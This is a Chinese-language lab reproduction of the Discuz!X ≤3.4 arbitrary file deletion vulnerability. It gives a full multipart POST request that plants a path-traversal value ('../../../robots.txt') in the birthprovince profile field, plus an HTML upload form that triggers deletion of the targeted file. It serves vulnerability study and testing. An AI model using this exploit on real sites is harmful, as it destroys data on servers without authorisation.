Discuz!X ≤3.4 任意文件删除漏洞

Discuz!X ≤3.4 任意文件删除漏洞

影响版本:Discuz!X ≤3.4

漏洞详情:https://lorexxar.cn/2017/09/30/dz-delete/

漏洞复现

安装时,只用修改数据库地址为db,其他保持默认即可:

访问http://your-ip/robots.txt可见robots.txt是存在的:

image-20210712113726398

注册用户后,在个人设置页面找到自己的formhash:

image-20210712114035351

带上自己的Cookie、formhash发送如下数据包:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
POST /home.php?mod=spacecp&ac=profile&op=base HTTP/1.1
Host: 192.168.44.132
Content-Length: 367
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryPFvXyxL45f34L12s
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.79 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6
Cookie: kuR_sid=Ph7B1z; kuR_visitedfid=2; kuR_oldtopics=D9D; kuR_fid2=1626059361; cX12_2132_saltkey=gKvOCcWp; cX12_2132_lastvisit=1626057387; cX12_2132_sid=dZ5u5n; cX12_2132_sendmail=1; cX12_2132_seccode=4.cf81c2f22450b44402; cX12_2132_ulastactivity=74ad7MDBgeRzQhefqHjDOHWk%2BLDI7N93qzr15Z0Xy9%2BTgoT0M1tT; cX12_2132_auth=3c8bbqDUXEphLP2a%2F40d75mQSUODAo%2BlzyHq5c0jDIZ2fUVbZ6zdxI0WT7X2JIAzG9ky9Dh55mhnX1TO9s%2FM; cX12_2132_home_readfeed=1626061120; cX12_2132_noticeTitle=1; cX12_2132_home_diymode=1; cX12_2132_lastact=1626061279%09home.php%09spacecp; cX12_2132_checkpm=1
Connection: close

------WebKitFormBoundaryPFvXyxL45f34L12s
Content-Disposition: form-data; name="formhash"

14c44716
------WebKitFormBoundaryPFvXyxL45f34L12s
Content-Disposition: form-data; name="birthprovince"

../../../robots.txt
------WebKitFormBoundaryPFvXyxL45f34L12s
Content-Disposition: form-data; name="profilesubmit"

1
------WebKitFormBoundaryPFvXyxL45f34L12s--

image-20210712114323807

提交成功之后,用户资料修改页面上的出生地就会显示成下图所示的状态:

image-20210712114416344

说明我们的脏数据已经进入数据库了。

然后,新建一个upload.html,代码如下,将其中的[your-ip]改成discuz的域名,[form-hash]改成你的formhash:

1
2
3
4
5
6
<body>
<form action="http://[your-ip]/home.php?mod=spacecp&ac=profile&op=base&profilesubmit=1&formhash=[form-hash]" method="post" enctype="multipart/form-data">
<input type="file" name="birthprovince" />
<input type="submit" value="upload" />
</form>
</body>

用浏览器打开该页面,上传一个正常图片。此时脏数据应该已被提取出,漏洞已经利用结束。

再次访问http://192.168.44.132/robots.txt,发现文件成功被删除:

0%